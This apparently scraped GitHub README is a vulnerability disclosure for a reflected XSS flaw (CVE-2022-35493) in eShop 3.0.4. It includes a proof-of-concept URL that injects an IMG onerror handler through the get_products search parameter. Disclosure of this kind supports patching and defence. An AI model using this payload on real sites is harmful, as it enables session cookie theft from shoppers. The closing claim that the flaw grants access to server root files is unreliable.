☐ Keyvanhardani / Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS Public) Actions Projects Security <> Code Issues Pull requests ✓ Insights پ main ◄ Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS / README.md Keyvanhardani Update README.md (History ৪১ 1 contributor 38 lines (31 sloc) | 1.49 KB Exploit Title: eShop - Multipurpose Ecommerce / Store Website 3.0.4 - Cross Site Scripting (XSS) CVE: CVE-2022-35493 Exploit Author: Keyvan Hardani Date: 18/11/2021 Update: 01.06.2022 Vendor Homepage: https://wrteam.in/ Version: up to 3.0.4 Tested on: Kali Linux - Windows 10 Vulnerability fields: ========= <span class="select2-selection__rendered" id="select2-x7vs-container"</pre> role="textbox" aria-readonly="true"></br> Search for products </br>

```
</span>
```

--- on search parser and the json response

Cross-site scripting (XSS) vulnerability in json search parse and the json response in wrteam.in, eShop - Multipurpose Ecommerce / Store Website version 3.0.4 allows remote attackers to inject arbitrary web script or HTML via the get_products?search parameter.

POC - To demonstrate the XSS via the Error parameter, the following method can be used:

=========

https://site.com/home/get_products? search=%22%3E%3CIMG%20SRC%3Dindex.php%20onerror%3Dalert(document.cookie)%3 E

Payload:

Security Risk

=========

This security vulnerability allows to execute arbitrary JavaScript code in users' browsers if they access URLs prepared by attackers.

This security vulnerability allows to direct access to your root files on your server.